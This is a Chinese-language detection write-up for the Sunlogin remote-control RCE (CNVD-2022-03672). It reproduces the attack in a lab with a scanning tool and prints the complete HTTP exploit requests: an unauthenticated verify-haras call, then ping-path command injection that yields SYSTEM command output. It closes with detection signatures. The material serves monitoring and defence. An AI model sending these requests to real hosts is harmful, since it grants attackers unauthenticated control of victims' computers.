跳转至

T1190-CNVD-2022-03672-向日葵RCE漏洞检测

来自ATT&CK的描述

使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。

如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。

对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。

测试案例

上海贝锐信息科技股份有限公司的向日葵远控软件存在远程代码执行漏洞(CNVD-2022-10270/CNVD-2022-03672),影响Windows系统使用的个人版和简约版,攻击者可利用该漏洞获取服务器控制权。

影响版本

向日葵个人版   for Windows <= 11.0.0.33
向日葵简约版   <= V1.0.1.43315(2021.12

检测日志

HTTP

测试复现

网络上公开工具较多,可自行下载进行本地测试,请勿进行非法测试。

攻击机:kali,10.211.55.35 靶机:win10,10.211.55.31

┌──(root㉿361)-[/home/liyang]
└─# ./sunrce -h 10.211.55.31 -p 40000-60000 -m 1000
[+] start to scan open port......
10.211.55.31:50340      open |Success discovery the sunrce vulnerability                                                                
10.211.55.31:49666      open |NULL              
10.211.55.31:49669      open |NULL              
10.211.55.31:49665      open |NULL              
10.211.55.31:49668      open |NULL              
10.211.55.31:49664      open |NULL              
10.211.55.31:49667      open |NULL              
10.211.55.31:49670      open |NULL              
SunRce vulnerability scan over                    
# 探测向日葵使用的端口                                   
──(root㉿361)-[/home/liyang]
└─# ./sunrce -h 10.211.55.31 -ps 50340 -shell      
Cmd:whoami
nt authority\system

Cmd:net user

\\ 的用户帐户

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest                    
liyang                   WDAGUtilityAccount       
命令运行完毕,但发生一个或多个错误。


Cmd:exit
#漏洞利用环节

漏洞分析/日志留痕

未授权认证

当SunloginCLient.exe在Windows上执行时,会连接远程Oray的服务器,同时也会打开一个大于40000的端口监听外部的连接访问(具体是否从40000往上随即开启端口,这个没有调试,网上是这么说的,我们主要看的是发生利用的代码部分)。

对其中一部分接口,Sunlogin统一对其进行处理。

接着会执行至函数sub_140E21528,分别对不同接口进行不同的处理。在接口/cgi-bin/rpc的Handler处理函数中可以进行未授权认证。

获取action参数值,如果值为verify-haras,即action=verify-haras,那么可以在没有识别码和验证码的情况下认证成功。

成功后返回一个verify_string,作为之后再次访问时Cookie字段中使用的CID值。

GET /cgi-bin/rpc?action=verify-haras HTTP/1.1
Host: 10.211.55.31:50340
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 87

{"__code":0,"enabled":"1","verify_string":"6onb943qKJoXQGAmr1BKArugFlO9949g","code":0} 

RCE

漏洞发生在接口/check处,当参数cmd的值以ping或者nslookup开头时可以构造命令实现远程命令执行利用。

发送请求时需要在请求头中指定Cookie字段中CID的值为之前/cgi-bin/rpc返回的verify_string值。下面是通过ping拼接的利用请求。

GET /check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe+whoami HTTP/1.1
Host: 10.211.55.31:50340
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: CID=6onb943qKJoXQGAmr1BKArugFlO9949g
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: text/json
Content-Length: 21

nt authority\system

GET /check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe+net+user HTTP/1.1
Host: 10.211.55.31:50340
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: CID=6onb943qKJoXQGAmr1BKArugFlO9949g
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: text/json
Content-Length: 269


\\ ..........

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest                    
liyang                   WDAGUtilityAccount       
....................................

监测规则

特征1:

请求数据:GET /cgi-bin/rpc?action=verify-haras,返回数据:verify_string;

特征2:

请求数据:GET /check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe

请求数据:GET /check?cmd=ping%20127.0.0.1%20|%20cmd%20/c%20echo%20whoami%00

请求数据:GET /check?cmd=ping../../../SysWOW64/cmd.exe+/c+net+user

主要是针对常见的拼接路径进行监测,返回数据也存在一些特征,可以根据实际情况进行设置高精准匹配。

建议

可根据具体常见的路径进行监测。安全设备+运营人员经验,能够达到更好的效果。

参考推荐

MITRE-ATT&CK-T1190

https://attack.mitre.org/techniques/T1190/

Sunlogin RCE漏洞分析和使用

https://www.1024sou.com/article/742604.html

向日葵远程命令执行程序分析

http://www.exp-9.com/post/44.html